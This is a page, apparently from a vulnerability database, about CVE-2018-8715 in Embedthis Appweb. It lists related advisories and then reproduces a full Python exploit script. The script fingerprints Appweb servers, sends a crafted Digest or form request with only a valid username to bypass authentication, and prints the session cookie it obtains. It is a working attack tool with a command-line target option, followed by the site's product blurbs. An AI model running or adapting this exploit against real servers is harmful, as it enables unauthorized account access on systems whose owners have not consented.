| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2018-8715 | 15 Mar 201801:29 | – | attackerkb | |
| Appweb < 7.0.3 authCondition Authentication Bypass Vulnerability | 2 Nov 201800:00 | – | nessus | |
| Embedthis Software Appweb Embedthis HTTP Library Authentication Bypass Vulnerability | 20 Mar 201800:00 | – | cnvd | |
| CVE-2018-8715 | 14 Mar 201820:00 | – | cve | |
| CVE-2018-8715 | 14 Mar 201820:00 | – | cvelist | |
| AppWeb - Authentication Bypass | 18 Jun 202612:11 | – | nuclei | |
| CVE-2018-8715 | 15 Mar 201801:29 | – | nvd | |
| CVE-2018-8715 | 15 Mar 201801:29 | – | osv | |
| Denial of Service in PAN-OS Management Web Interface | 20 Jul 201800:30 | – | paloalto | |
| Denial of Service in PAN-OS Management Web Interface | 20 Jul 201800:30 | – | paloalto |
import sys
import requests
import argparse
print """----------------------------------------------------------------
Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass
----------------------------------------------------------------
"""
def test_digest(r):
auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"]
wwwauthenticate = r.headers.get('WWW-Authenticate')
if wwwauthenticate is None:
return False
for k in auth:
if k not in wwwauthenticate:
return False
return True
def test_form(r):
""" extremely shoddy recognition, expect false positives """
auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)]
potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")]
if r.headers.get("WWW-Authenticate") is not None:
return False
for k, v in auth:
rv = r.headers.get(k)
if not rv:
return False
if v is not None and v != rv:
return False
potential_count = 0
for k, v in potential_auth:
rv = r.headers.get(k)
if rv and v != "" and v == rv:
potential_count += 1
print "[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth))
return True
def test(url):
""" Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """
r = requests.get(url)
# EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly
serv = r.headers.get("Server")
if serv and "GoAhead" in serv:
return False
if test_digest(r):
return "digest"
elif test_form(r):
return "form"
return None
def exploit(url, username="joshua", authtype="digest"):
payload = { "username": username }
headers = {
"authorization": "Digest username={}".format(username),
"user-agent": "TruelBot",
"content-type": "application/x-www-form-urlencoded",
}
if authtype == "digest":
r = requests.get(url, data=payload, headers=headers)
else:
r = requests.post(url, data=payload, headers=headers)
print(r.content)
if r.status_code != 200 or len(r.cookies) < 1:
print "[!] Exploit failed, HTTP status code {}".format(r.status_code)
return
print "[*] Succesfully exploited, here's your c00kie:\n {}".format(dict(r.cookies))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)")
parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)")
parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name")
parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit")
parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test")
args = parser.parse_args()
url = args.target
username = args.user
t = "form" # default will try form/post
if args.check or not args.force:
t = test(url)
if t is None:
print "[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)"
else:
print "[+] Potential appweb/embedthis http, {} method".format(t)
if not args.check:
print "[!] Exploiting {}, user {}!".format(url, username)
exploit(url, username, t)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation